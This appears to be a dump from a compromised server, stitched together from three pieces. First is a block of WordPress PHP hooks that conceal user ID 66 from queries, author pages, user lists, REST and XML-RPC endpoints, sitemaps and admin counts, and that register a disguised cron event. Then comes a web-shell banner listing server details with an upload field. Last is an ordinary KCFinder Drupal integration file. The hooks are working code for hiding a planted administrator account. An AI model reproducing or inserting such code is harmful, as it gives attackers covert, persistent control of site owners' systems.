add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/vendor/kcfinder/integration/ |
Upload File : |
<?php
/** This file is part of KCFinder project
*
* @desc CMS integration code: Drupal
* @package KCFinder
* @version 3.12
* @author Dany Alejandro Cabrera <otello2040@gmail.com>
* @copyright 2010-2014 KCFinder Project
* @license http://opensource.org/licenses/GPL-3.0 GPLv3
* @license http://opensource.org/licenses/LGPL-3.0 LGPLv3
* @link http://kcfinder.sunhater.com
*/
// gets a valid drupal_path
function get_drupal_path() {
if (!empty($_SERVER['SCRIPT_FILENAME'])) {
$drupal_path = dirname(dirname(dirname(dirname((string) $_SERVER['SCRIPT_FILENAME']))));
if (!file_exists($drupal_path . '/includes/bootstrap.inc')) {
$drupal_path = dirname(dirname(dirname((string) $_SERVER['SCRIPT_FILENAME'])));
$depth = 2;
do {
$drupal_path = dirname($drupal_path);
$depth++;
} while (!($bootstrap_file_found = file_exists($drupal_path . '/includes/bootstrap.inc')) && $depth < 10);
}
}
if (!isset($bootstrap_file_found) || !$bootstrap_file_found) {
$drupal_path = '../../../../..';
if (!file_exists($drupal_path . '/includes/bootstrap.inc')) {
$drupal_path = '../..';
do {
$drupal_path .= '/..';
$depth = substr_count($drupal_path, '..');
} while (!($bootstrap_file_found = file_exists($drupal_path . '/includes/bootstrap.inc')) && $depth < 10);
}
}
return $drupal_path;
}
function CheckAuthentication($drupal_path) {
static $authenticated;
if (!isset($authenticated)) {
if (!isset($bootstrap_file_found) || $bootstrap_file_found) {
$current_cwd = getcwd();
if (!defined('DRUPAL_ROOT')){
define('DRUPAL_ROOT', $drupal_path);
}
// Simulate being in the drupal root folder so we can share the session
chdir(DRUPAL_ROOT);
global $base_url;
$base_root = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ? 'https' : 'http';
$base_url = $base_root .= '://'. preg_replace('/[^a-z0-9-:._]/i', '', (string) $_SERVER['HTTP_HOST']);
if ($dir = trim(dirname((string) $_SERVER['SCRIPT_NAME']), '\,/')) {
$base_path = "/$dir";
$base_url .= $base_path;
}
// correct base_url so it points to Drupal root
$pos = strpos($base_url, '/sites/');
$base_url = substr($base_url, 0, $pos); // drupal root absolute url
// If we aren't in a Drupal installation, or if Drupal path hasn't been properly found, die
if(!file_exists(DRUPAL_ROOT . '/includes/bootstrap.inc')) {
die("The CMS integration service for -drupal- requires KCFinder to be properly placed inside your Drupal installation.");
}
// bootstrap
require_once(DRUPAL_ROOT . '/includes/bootstrap.inc');
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
// if user has access permission...
if (user_access('access kcfinder')) {
if (!isset($_SESSION['KCFINDER'])) {
$_SESSION['KCFINDER'] = array();
$_SESSION['KCFINDER']['disabled'] = false;
}
// User has permission, so make sure KCFinder is not disabled!
if(!isset($_SESSION['KCFINDER']['disabled'])) {
$_SESSION['KCFINDER']['disabled'] = false;
}
global $user;
$_SESSION['KCFINDER']['uploadURL'] = strtr(variable_get('kcfinder_upload_url', 'sites/default/files/kcfinder'), array('%u' => $user->uid, '%n' => $user->name));
$_SESSION['KCFINDER']['uploadDir'] = strtr(variable_get('kcfinder_upload_dir', ''), array('%u' => $user->uid, '%n' => $user->name));
$_SESSION['KCFINDER']['theme'] = variable_get('kcfinder_theme', 'oxygen');
//echo '<br />uploadURL: ' . $_SESSION['KCFINDER']['uploadURL']<br />;
//echo '<br />uploadDir: ' . $_SESSION['KCFINDER']['uploadDir']<br />;
chdir($current_cwd);
return true;
}
chdir($current_cwd);
return false;
}
}
}
CheckAuthentication(get_drupal_path());
?>